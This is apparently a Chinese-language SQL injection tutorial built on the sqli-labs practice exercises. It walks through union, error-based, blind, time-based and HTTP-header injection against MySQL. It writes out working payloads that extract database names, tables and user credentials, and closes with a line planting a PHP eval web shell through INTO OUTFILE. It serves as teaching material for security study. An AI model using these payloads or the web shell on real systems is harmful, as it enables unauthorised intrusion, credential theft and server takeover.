目录
1.Mysql 基本知识
Mysql数据库大于5.0
的版本中为方便管理含有默认的库information_schema,库中有
三张重要的表:schemata,表中储存了所有数据库名;tables,存储了所有表名及其库名;columns,所有字段名及其表名和库名。
增删改查的对象都是表的层次,而不是数据库。
不声明表是什么数据库时默认是当前的数据库中的表
如select 列名 from 表名 where xxx;
需要查询某个数据库某张表下的内容则需要特别指出:
如select * from 库名.表名 where xxx;
增
insert into 表名 (column1,column2,…)values(value1,value2,…)
value和对应位置的column对应,若是无明确column,则是按column的顺序依次插入值
改
更新某列的某行:
update 表名 set 列名=新值 where 列名=原值;
更新某行:
update 表名 set column1=value1 ,column2=value2 ,column3=value3 …
删
删除某行
delete from 表名 where 列名=xx;
删除所有行
delete from table;
注释
#,–space, / ✳…✳ /
注意:在url中,#另有含义,space也是无效信息,故使用space和#可以进行url编码,为%20,%23,space也可以使用+号代替,- -+
内联注释,/✳!sql语句✳/只有mysql有,常用来绕过WAF,当中的sql语句在数据库中仍然会被执行
一些常用查询函数或语句
limit m,n
显示当前结果从第m行开始,显示n条信息
order by 字段序号
按照用户所想的第n个字段来排序,常用二分法使用order by来猜表的字段数。
union select
联合查询,将查询的两处结果拼接在一起,需要两处的的字段数相同,一般用order by 猜字段数,用union 判断回显 如 select false union select
1,2,3;第一处是false不显示,故只显示union查询到的信息。
group_concat(column1,连接符十六进制,column2...)
将查询到的列的所有信息连接成一条信息输出,当回显只有某列的第一个数据信息时,用此函数可以将该列所有信息暴露出来。
也可以连接同一列的所有信息
concat
用法和group_concat一样,区别在于group,group是合并成一条信息输出,concat不合并成一条信息输出
if(exp1,exp2,exp3)
如果exp1为true,返回exp2,否则返回exp3
sleep(n)
数据库执行的结果延迟n秒再返回
length(database())
数据库长度,length((char))
left(database(),n)
n为database()的第n个字符,从左到右的顺序返回长度为n的子串默认从1开始,不是从0开始,可以通过比较法猜第n个字符是什么
substr(string, start, length)
string为字符串,start为从哪里开始,length为字串的长度,即返回从start位置开始长度为length的子串默认从1开始,不是从0开始
ascii(char)
返回字符的ASCII值
count(), group by a, as, rand(), floor()
count()是对所求的结果进行计算,group by a,a是分类的依据,rand()产生0~1的随机数,floor()是对所给的数取整。这几个组合用于双注入查询暴露数据库的信息
数据库的可利用函数:
user()–当前用户名,version()–mysql版本,database()–当前数据库
使用:select 函数;
2.SQL注入原理
SQL注入漏洞是由于用户客户端所提交的恶意信息在服务端没有被过滤,从而造成所提交的信息在后端的数据库被当作代码执行,进而获取到恶意用户想知道的信息
3.SQL注入的思路
- 判断有无sql注入:页面回显信息等
- 判断sql注入类型,字符,整型,盲注等
- 用order by菜字段数
- 用 union 获取回显位置
- 根据语句,获得数据库中的信息
4.SQL注入实战
A.思路实战–GET单引号注入示例
用户输入的id显示在url中,可以判断时get类型,构造payload查看是否有sql注入漏洞
我们输入单引号后看到一串报错信息,可以判断此处存在sql注入漏洞。
根据报错信息可以分析查询语句应当是select *from xx where id=‘number’,则是个字符型的单引号注入,那么接下来就可以用order by猜字段数了
字段数为3显示正常
字段数为4则报错,那么该字段数就是3,接下来用联合查询来判断回显位置
因为只返回一条信息,两个字段。联合查询时一定要让第一个查询id号为false,否则页面将会正常回显id信息,不能判断是哪个字段回显在页面上。此处id=-1肯定是false,根据我们的payload,可以看到第2,3个字段回显在页面上,那么可以在第2,3字段上构造我们payload,获取想要的信息
可以看到数据库版本为5.5.44,当前数据库为security
数据库管理员用户名为root@localhost
接下来我们想获取数据库中的信息,比如security库里应该有重要的信息,可能存储了用户名及密码等,下一步来给数据库爆破。
因为数据库版本>5.0,所以我们从information_schema中读取所有的数据库名,构造payload:
?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata --+
security应该存储有敏感信息,看看security中包含哪些表,可以从tables里的table_name查看,构造payload:
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
数据库中查询的字段为string类型时一定要加’ ',否则会转换成整型数值,查询不到信息
爆破users表单,查看里面的有哪些字段,构造payload:
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
那就不妨看看username和password字段,在security下的users表里面
构造payload:
?id=-1' union select 1,group_concat(username,0x3a,password),3 from security.users --+
想看数据库其他信息也是同样道理,库-表-字段依次爆破查看你想要的信息
B.整型注入
根据报错信息判断是整型注入,利用原理同上
C.字符型注入
1. 根据报错判断语句为select* from xx where id=(‘number’)只需要闭合(’,注释掉’)就可以利用
2.开始闭合单引号,结果显示正常,判断id输入可能被双引号闭合了,里面的任意值都被包括在双引号中,所以尝试闭合双引号。根据报错判断语句为select* from xx where id=(’‘number’’)
只需要闭合(",注释掉")就可以利用,构造payload:?id=1") order by 3 --+
D.报错之双注入查询
当成功登时候页面只有回显you are in…,不能提供更多信息,所以前面的各种查询都无法回显出我们想要的结果。但是构造恶意payload会打印错误信息,而且mysql中存在某个组合函数的漏洞,就可以通过双注入查询回显报错的信息。
select count(*) ,concat(select(database()),0x3a,floor(rand()*2)) as temp from information_schema.schemata group by temp
这句话的意思是将select(database()),0x3a,floor(rand()查询得到的结果(别名为temp,下面用temp称呼这条语句)按temp分组(键值相同为一组),每次查询后用count函数计数。nformation_schema.schemata可以换成其他的表,主要是表中有较多条数据就可以。只有一条肯定不行。具体的漏洞原理可参考双注入查询漏洞原理
由于rand函数的不确定性,当第一次查询时库中不含有该结果,而插入时又再次查询语句的rand函数和第一次不一致,就会引发报错,得到报错信息。
不回显任何信息,用双注入查询尝试,构造payload:
?id=-1" union SELECT count(*),1,concat((SELECT database()), 0x3a,floor(rand()*2))as a from information_schema.schemata group by a --+
除了database()也可以替换成其他函数,version(),user()…,还可以爆破库名,表名。
构造payload,获得user表名
?id=-1" union select count(*),1, concat((select concat(table_name) from information_schema.tables where table_schema=database() limit 3,1),0x3a,floor(rand()*2)) as a from information_schema.tables group by a--+
E.布尔盲注
不回显任何信息,只有正确与否,这时候只能通过盲注逐个字符来猜库,表,字段信息了。
如需要爆破数据库长度
?id=1’ and length(database())=n–+
获取数据库名,逐个字符猜解
?id=1’ and substr(database(),1,1)=‘s’–+
更复杂的payload参考A即可
F.时间盲注
不回显任何信息,也不显示语句结果真假,只能通过时间的延迟来判断,这种情况下只能采取时间盲注
如payload:**?id=1’ and if(length(database())=n,sleep(5),1)–+**如果为真则延迟5s返回结果,更复杂的payload参考A
G.利用函数bug报错注入
updatexml()
一个对xml文档修改的函数,具体用法为
updatexml(XML_document, XPath_string, new_value);
第一个参数是文档名,第二个参数是修改的字符串路径,第三个参数是替换后的值,思路就是在第二个参数处利用XPath的语法错误来爆破数据库的信息。
第二个参数不是XPath的语法,所以会报错,而且会报错其中查询的结果,所以我们就可以利用这个信息来爆破。
若是concat被过滤了,可用其他的函数,具体可参考绕过方法
extractvalue()
查询xml文档的信息
extractvalue(xml_document,Xpath)和updatexml差不多
updatexml()
和extractvalue()
的报错信息最多为32个字符,所以用爆破数据库时使用group_concat()可能会显示不全,如图所示。
解决办法是用concat()配合limit一行行显示,或者使用substr一次截取32个字符payload:uname=admin&passwd=xxx' or updatexml(1,concat(0x7e,(substr((select group_concat(schema_name) from information_schema.schemata),32,32)),0x7e),1) # & submit=Submit
,截取了32位以后的字符
H.利用函数bug报错update/insert/delete注入
下面用sqli-lessson17来举例说明。这是一个post的update注入,并且username作了过滤,考虑在password处注入。尝试用双查询注入但是暂时行不,于是采取updatexml来尝试
payload:爆破库名
uname=admin&passwd=xxx' or updatexml(1,concat(0x7e,(select concat(schema_name) from information_schema.schemata limit 0,1),0x7e),1) # & submit=Submit
uname=admin&passwd=xxx' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) # & submit=Submit
爆破表名
uname=admin&passwd=xxx' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1) # & submit=Submit
爆破列名
uname=admin&passwd=xxx' or updatexml(1,concat(0x7e,(select group_concat(username,0x7e,password) from users),0x7e),1) # & submit=Submit
爆破值 但是存在问题
查资料最终的版本为
uname=admin&passwd=xxx' or updatexml(1,concat(0x7e,(select username from(select username from users limit 0,1)AnythingHere) ,0x7e),1) # & submit=Submit
只能依次爆用户名和密码了
H.http头注入(User-Agent,Referer,Cookies)
登陆进去发现页面回显User Agent的信息,用户名和密码都被过滤了,考虑从User Agent入手,抓包改包
payload:
S' and updatexml(1,concat(0x7e,(select database()),0x7e),1) or 3 ='4
3='4 是为了闭合’uagent’后面这个单引号,不然报错信息不是我们想要的
I.读写文件
读文件load_file(“file_path”)
写文件 select <?php @eval($_POST["cmd"]);?>’ into outfile “file_path”
通过读写文件写入本地连上菜刀可以webshell
`